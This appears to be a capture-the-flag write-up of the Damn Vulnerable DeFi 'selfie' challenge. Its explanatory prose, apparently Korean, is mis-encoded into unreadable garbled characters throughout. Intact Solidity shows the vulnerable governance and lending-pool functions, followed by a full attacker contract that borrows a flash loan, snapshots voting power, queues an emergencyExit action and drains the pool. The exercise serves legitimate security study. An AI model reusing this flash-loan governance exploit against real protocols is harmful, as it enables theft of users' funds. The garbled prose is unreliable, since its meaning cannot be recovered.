๐กDamn Vulnerable DeFi๋?
๋ง ๊ทธ๋๋ก ์์ฒญ ์ทจ์ฝํ DeFi๋ ๋ป ์ ๋๋ค. ์์ฑ๋์ด ์๋ ์ปจํธ๋ํธ๋ฅผ ๋ณด๊ณ ์ทจ์ฝ์ ์ ๋ถ์ํ ๋ค ๊ณต๊ฒฉ์ ์ํ ์ปจํธ๋ํธ๋ ํ ์คํธ ์ฝ๋๋ฅผ ์์ฑํด ์ํ๋ ๊ฒฐ๊ณผ๋ฅผ ๋์ถํ๋ ์ผ์ข ์ ์๊ฒ์ ์ ๋๋ค.
selfie ๋ฌธ์ ๋ ์๋ก ๋ฐ์นญ๋ DVT Token Lending Pool์์ ๋ชจ๋ DVT ํ ํฐ์ ํ์ทจํ๋ ๊ฒ ์ ๋๋ค. ํด๋น Lending Pool์ ๊ฑฐ๋ฒ๋์ค์ ์ํด์ ์ ์ด๋๊ธฐ ๋๋ฌธ์ ๊ฑฐ๋ฒ๋์ค์ ๊ด๋ จ๋ ์ทจ์ฝ์ ์ ๋ถ์ํ๊ณ ์ด๋ฅผ ์ด์ฉํด์ ๋ชจ๋ ํ ํฐ์ ํ์ทจํด์ผ ํฉ๋๋ค.
governance: ๋ธ๋ก์ฒด์ธ์์์ ๊ฑฐ๋ฒ๋์ค(Governance)๋ ๋ธ๋ก์ฒด์ธ ๋คํธ์ํฌ์ ์ด์, ๊ด๋ฆฌ, ๊ทธ๋ฆฌ๊ณ ๋คํธ์ํฌ ๋ด์์์ ์์ฌ๊ฒฐ์ ๊ตฌ์กฐ๋ฅผ ์๋ฏธํฉ๋๋ค. ์ด๋ ๋ธ๋ก์ฒด์ธ ๊ธฐ์ ์ด ์์จ์ ์ด๊ณ ํ์ค์ํ๋ ํน์ฑ์ ๊ฐ๊ณ ์์์๋ ๋ถ๊ตฌํ๊ณ , ๋คํธ์ํฌ์ ์ ์ง ๋ฐ ๋ฐ์ ์ ์ํด ํ์์ ์ธ ์์์ ๋๋ค.
SelfiePool: DVT Token์ ๋ํ flashLoan์ ์คํํฉ๋๋ค. ๋์ถ์ ์ํํ๊ธฐ ์ํด์ ์ฌ์ฉ์๋ onFlashLoan์ด๋ผ๋ ๋์ถ ์ํ ์ธํฐํ์ด์ค๋ฅผ ๊ตฌํํด์ผ ํฉ๋๋ค. ์ด์ ๋ฌธ์ ์์๋ ๋ง์ด ๋์จ ์ปจํธ๋ํธ ๊ตฌ์กฐ์ ๋น์ทํฉ๋๋ค. ํด๋น pool์ ๊ฑฐ๋ฒ๋์ค์ ์ํด ์ปจํธ๋กค ๋ฉ๋๋ค.
SimpleGovernance: ๋ง ๊ทธ๋๋ ๊ฐ๋จํ๊ฒ ๊ตฌํ๋ ๊ฑฐ๋ฒ๋์ค์ด๋ฉฐ ์ฌ์ฉ์๊ฐ ์ด๋ค ์ก์ ์ ์คํํ ์ ์๋์ง ๊ถํ์ ๊ฒ์ฌํ๊ณ ํน์ ์ก์ ์ ์คํํฉ๋๋ค. ๊ถํ์ ํน์ snapshot์ ์ฌ์ฉ์์ ์์ก์ ๊ฒ์ฌํฉ๋๋ค.
after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
// Player has taken all tokens from the pool
expect(await token.balanceOf(player.address)).to.be.equal(TOKENS_IN_POOL);
expect(await token.balanceOf(pool.address)).to.be.equal(0);
});
์ฌ์ฉ์๋ ์ํ๋ ์ก์ ์ ํ์ ์ ์ฅํ ์ ์์ต๋๋ค. ์ด๋ ๊ฒ ์ ์ฅ๋ ์ก์ ๋ค์ ์คํ๋๊ธฐ ์ ๊น์ง ํ์ ๋จ์์์ผ๋ฉฐ ์ฌ์ฉ์๊ฐ ์ด ์ก์ ์ ์คํํด์ผ๋ง ์ฌ๋ผ์ง๋๋ค. ์ก์ ์ value, target์ ์ง์ ํด ์ํ๋ ๊ถํ๋ง ์๋ค๋ฉด ๋ชจ๋ ์ก์ ์ ์ทจํ ์ ์์ต๋๋ค.
function queueAction(
address target,
uint128 value,
bytes calldata data
) external returns (uint256 actionId) {
if (!_hasEnoughVotes(msg.sender)) revert NotEnoughVotes(msg.sender);
if (target == address(this)) revert InvalidTarget();
if (data.length > 0 && target.code.length == 0)
revert TargetMustHaveCode();
actionId = _actionCounter;
_actions[actionId] = GovernanceAction({
target: target,
value: value,
proposedAt: uint64(block.timestamp),
executedAt: 0,
data: data
});
unchecked {
_actionCounter++;
}
emit ActionQueued(actionId, msg.sender);
}
ํ์ ์ ์ฅ๋์ด ์๋ ์ก์ ์คํ์ ์ก์ ์ ์คํํ ์ ์์๋งํผ์ ์ถฉ๋ถํ Balance๊ฐ ์๋์ง ๊ฒ์ฌ๋ง ์งํํ ํ ์๋ ์ฝ๋์ฒ๋ผ ์คํ๋ฉ๋๋ค.
function executeAction(
uint256 actionId
) external payable returns (bytes memory) {
if (!_canBeExecuted(actionId)) revert CannotExecute(actionId);
GovernanceAction storage actionToExecute = _actions[actionId];
actionToExecute.executedAt = uint64(block.timestamp);
emit ActionExecuted(actionId, msg.sender);
(bool success, bytes memory returndata) = actionToExecute.target.call{
value: actionToExecute.value
}(actionToExecute.data);
if (!success) {
if (returndata.length > 0) {
assembly {
revert(add(0x20, returndata), mload(returndata))
}
} else {
revert ActionFailed(actionId);
}
}
return returndata;
}
์ก์ ์ด ์คํํ ๊ถํ์ด ์๋์ง๋ ๊ฐ์ฅ ์ต๊ทผ snapshot์ ์์ก์ ํ์ธํด์ ํ ํฐ์ ์ด ๋ฐํ๋์ 50%๋ฅผ ์ด๊ณผํ๋ ์ง๋ถ์ ๊ฐ์ง๊ณ ์๋ค๋ฉด ์คํ๊ฐ๋ฅํฉ๋๋ค.
function _hasEnoughVotes(address who) private view returns (bool) {
uint256 balance = _governanceToken.getBalanceAtLastSnapshot(who);
uint256 halfTotalSupply = _governanceToken
.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}
์๋ง ์ด๋ฐ ๋ถ๋ฅ์ ๋ฌธ์ ๋ค์ ๋ง์ด ํ์ด๋ณด์ ๋ถ๋ค์ด๋ผ๋ฉด ๋ฌธ์ ์ ์ ๋ฐ๋ก ์ ์ ์์ผ์ จ์ ๊ฒ๋๋ค.
์ด๋ ๊ฒ ์ค๋ ์ท์ ์ ์ฅ๋์ด ์๋ ์ ๋ณด๋ค๋ก ์ด๋ค ๊ถํ์ด๋ ์๊ฒฉ์ ๊ฒ์ฌํ ๋ ์ด๋ ๊ฒ ์๋ฌด ์กฐ๊ฑด ์์ด ๊ฐ์ฅ ์ต๊ทผ์ ์ค๋ ์ท์ ์ฌ์ฉํ๊ฒ ๋๋ฉด ๊ทธ ์๊ฐ์๋ง ์ ์ง๋๋ ์ ๋ณด๋ค๋ก ์ธํด ์๋ชป๋ ์ฌ๋์๊ฒ ์๋ชป๋ ๊ถํ ๋ถ์ฌ๋ฅผ ํ ์ ์๊ฒ ๋ฉ๋๋ค.
๊ฐ๋จํ๊ฒ ๊ตฌํ๋ Lender Pool์ด์ง๋ง ์ด์ํ ๋ถ๋ถ์ด ์์ต๋๋ค.
function emergencyExit(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
๋ฐ๋ก ์ด ๋ถ๋ถ ์ ๋๋ค. ์ค์ง ๊ฑฐ๋ฒ๋์ค๋ง์ด ์คํํ ์ ์์ผ๋ฉฐ ์ง์ ๋ receiver์๊ฒ ํด๋น ์ปจํธ๋ํธ์ ์์ก์ ์ ์กํด์ค๋๋ค.
์๋ง ๋น์ ์ํฉ์ ์ปจํธ๋ํธ์ ๋ชจ๋ ํ ํฐ๋ค์ ๋ค๋ฅธ ๊ณณ์ผ๋ก ์ฎ๊ธฐ๋ ค๊ณ ์๋ ๊ธฐ๋ฅ์ด์ง๋ง ์ ์ฉ ๊ฐ๋ฅ์ฑ์ด ๋ค๋ถ ํฉ๋๋ค. receiver๋ฅผ ์ ๋์ ์ผ๋ก ์ง์ ํ ์ ์๊ธฐ ๋๋ฌธ์ ๋๋ค.
์ ํฌ๋ ์์์ ์์๋ธ ์ทจ์ฝ์ ์ ์ด์ฉํด์ Pool์ ์๋ ๋ชจ๋ ํ ํฐ์ ํ์ทจ ํด๋ด์ผ ํฉ๋๋ค.
- FlashLoan์์ Token์ ๋์ถ ๋ฐ๋๋ค.
- onFlashLoan์ด ์คํ๋๋ ๊ณผ์ ์์ ๋์ถ๊ธ์ ์ํํ๊ธฐ ์ DVT Token์ snapshot์ ์ฐ๋๋ค.
- ๊ฑฐ๋ฒ๋์ค์ ์ก์ ํ์ receiver๋ฅผ ๊ณต๊ฒฉ ์ปจํธ๋ํธ๋ก ์ง์ ํด์ค ๋ค pool์ emergencyExit์ ์ก์ ์ผ๋ก ์ถ๊ฐํด ์ค๋ค.
- ๋์ถ๊ธ์ ์ํํ๊ณ ๊ณต๊ฒฉ ํ์ ์๋ ์ก์ ์ ์คํ
- ์ฌ์ฉ์์๊ฒ ํ์ทจํ ํ ํฐ ์ ์ก
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../selfie/SelfiePool.sol";
import "../selfie/SimpleGovernance.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "../DamnValuableTokenSnapshot.sol";
contract SelfieAttacker {
SelfiePool pool;
IERC3156FlashBorrower borrower;
SimpleGovernance governance;
DamnValuableTokenSnapshot DVT;
address owner;
uint256 public actionId;
bytes result;
constructor(address _pool, address _governance, address _DVT) {
pool = SelfiePool(_pool);
borrower = IERC3156FlashBorrower(address(this));
governance = SimpleGovernance(_governance);
DVT = DamnValuableTokenSnapshot(_DVT);
owner = msg.sender;
}
function attack() external {
pool.flashLoan(
borrower,
address(DVT),
DVT.balanceOf(address(pool)),
""
);
}
function onFlashLoan(
address,
address token,
uint256 amount,
uint256 fee,
bytes calldata
) external returns (bytes32) {
require(token == address(DVT), "Token not supported");
DVT.snapshot();
actionId = governance.queueAction(
address(pool),
0,
abi.encodeWithSignature("emergencyExit(address)", address(this))
);
DVT.approve(address(pool), amount + fee);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
function withdraw() external {
require(msg.sender == owner, "Not owner");
result = governance.executeAction(actionId);
pool.token().transfer(
msg.sender,
pool.token().balanceOf(address(this))
);
}
}
์ด ์์๋๋ก ๊ณต๊ฒฉ์ ์คํํด ๋ชฉ์ ์ ๋ฌ์ฑํ๋ฉด ๋ฉ๋๋ค.
์ค์์ง๊ถํ๋ ํฌํ ์๊ณ๊ฐ: _hasEnoughVotes ํจ์๋ ์ฌ์ฉ์๊ฐ ๊ฑฐ๋ฒ๋์ค ํ ํฐ์ ๊ณผ๋ฐ์๋ฅผ ์์ ํ๊ณ ์์ด์ผ ์ก์ ์ ํ์ ๋ฃ์ ์ ์๋๋ก ํฉ๋๋ค. ์ด๋ ๋งค์ฐ ๋์ ํฌํ ์๊ณ๊ฐ์ ์ค์ ํ๋ฉฐ, ์ค์ง์ ์ผ๋ก ํ๋์ ์ฃผ์ฒด๊ฐ ๊ณผ๋ฐ์์ ํ ํฐ์ ์์ ํ๋ ๊ฒฝ์ฐ ์ ์ฒด ๋คํธ์ํฌ์ ๊ฑฐ๋ฒ๋์ค๋ฅผ ๋ ์ ํ ์ ์๊ฒ ํฉ๋๋ค. ์ด๋ฌํ ์ค์์ง๊ถํ๋ ๋ธ๋ก์ฒด์ธ๊ณผ ํ์ค์ํ์ ๊ธฐ๋ณธ ์์น์ ์ด๊ธ๋ฉ๋๋ค.
์ฌ์ง์ (reentrancy) ์ทจ์ฝ์ : executeAction ํจ์์์ ์ธ๋ถ ์ปจํธ๋ํธ์ ๋ํ call์ ์ฌ์ฉํ์ฌ ์์์ ๋ฐ์ดํฐ์ ์ด๋๋ฅผ ๋ณด๋ผ ์ ์์ต๋๋ค. ์ด call์ ์ฑ๊ณต ๋๋ ์คํจ ์ ํน์ ์กฐ๊ฑด ์์ด ์คํ๋๋ฏ๋ก, ๋์ ์ปจํธ๋ํธ๊ฐ ์ฌ์ง์ ๊ณต๊ฒฉ์ ์๋ํ ์ ์๋ ์ฌ์ง๋ฅผ ์ ๊ณตํฉ๋๋ค. ๋ฌผ๋ก , ํ์ฌ ์ฝ๋ ํ๋ฆ์์๋ ์คํ ํ executedAt ํ์์คํฌํ๊ฐ ์ค์ ๋๋ฏ๋ก ์ฌ์ง์ ๊ณต๊ฒฉ์ด ๋ฐ๋ก ์ด์ด์ง ๊ฐ๋ฅ์ฑ์ ๋ฎ์ต๋๋ค. ๊ทธ๋ฌ๋ ์ด๋ ๊ตฌ์กฐ์ ์ผ๋ก ์ ์ฌ์ ์ํ์ ๊ฐ๊ณ ์์ต๋๋ค.
ํ๊ฒ ์ฝ๋ ์กด์ฌ ์ฌ๋ถ ๊ฒ์ฆ: queueAction ํจ์๋ ํ๊ฒ ์ฃผ์์ ์ฝ๋๊ฐ ์กด์ฌํ๋์ง๋ฅผ ํ์ธํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ด๋ ๋จ์ํ ์ฝ๋์ ์กด์ฌ๋ง์ ํ์ธํ ๋ฟ, ํด๋น ์ฝ๋๊ฐ ์์ ํ๊ฑฐ๋ ์์๋๋ก์ ๊ธฐ๋ฅ์ ์ํํ๋ค๋ ๋ณด์ฅ์ ์์ต๋๋ค. ์ด๋ ์ ์์ ์ธ ์ฝ๋๊ฐ ๊ฑฐ๋ฒ๋์ค ์์คํ ์ ํตํด ์คํ๋ ์ ์์์ ์๋ฏธํฉ๋๋ค.
์๊ฐ ์กฐ์ ๊ฐ๋ฅ์ฑ: ๋ธ๋ก์ฒด์ธ์์ block.timestamp (ํน์ now)๋ ๋ธ๋ก์ ์ฑ๊ตดํ๋ ๋ง์ด๋์ ์ํด ์กฐ์๋ ์ ์๋ ๊ฐ์ ๋๋ค. executeAction์์๋ ์ด ํ์์คํฌํ๋ฅผ ๊ธฐ์ค์ผ๋ก ์ก์ ์ ์คํ ๊ฐ๋ฅ ์ฌ๋ถ๋ฅผ ํ๋จํฉ๋๋ค. ๋น๋ก ํฐ ๋ฒ์์ ์กฐ์์ ์ด๋ ต์ง๋ง, ๋ช ๋ถ ๋ด์ธ๋ก ์กฐ์์ด ๊ฐ๋ฅํ์ฌ ๊ฒฐ์ ์ ์ธ ์ํฉ์์ ์ํฅ์ ๋ฏธ์น ์ ์์ต๋๋ค.
๊ฑฐ๋ฒ๋์ค ๋ฉ์ปค๋์ฆ์ ํฌ๋ช ์ฑ ๋ฐ ์ ์ฐ์ฑ ๋ถ์กฑ: ์ฝ๋ ๋ด์์ ๊ณ ์ ๋ ๋ฐฉ์(ACTION_DELAY_IN_SECONDS์ hasEnoughVotes)๋ง์ ์ฌ์ฉํ์ฌ ๊ฑฐ๋ฒ๋์ค ๊ฒฐ์ ์ ๋ด๋ฆฌ๋ฏ๋ก, ๋ค์ํ ์ํฉ์ ์ ์ฐํ๊ฒ ๋์ฒํ๊ธฐ ์ด๋ ต์ต๋๋ค. ๋ํ, ๋ชจ๋ ๊ฒฐ์ ๊ณผ ๋ณ๊ฒฝ ์ฌํญ์ด ๊ณต๊ฐ์ ์ด๊ณ ํฌ๋ช ํ๊ฒ ๊ด๋ฆฌ๋๋์ง์ ๋ํ ๊ตฌ์ฒด์ ์ธ ํ์ธ ๋ฐฉ๋ฒ์ด ๋ถ์กฑํฉ๋๋ค.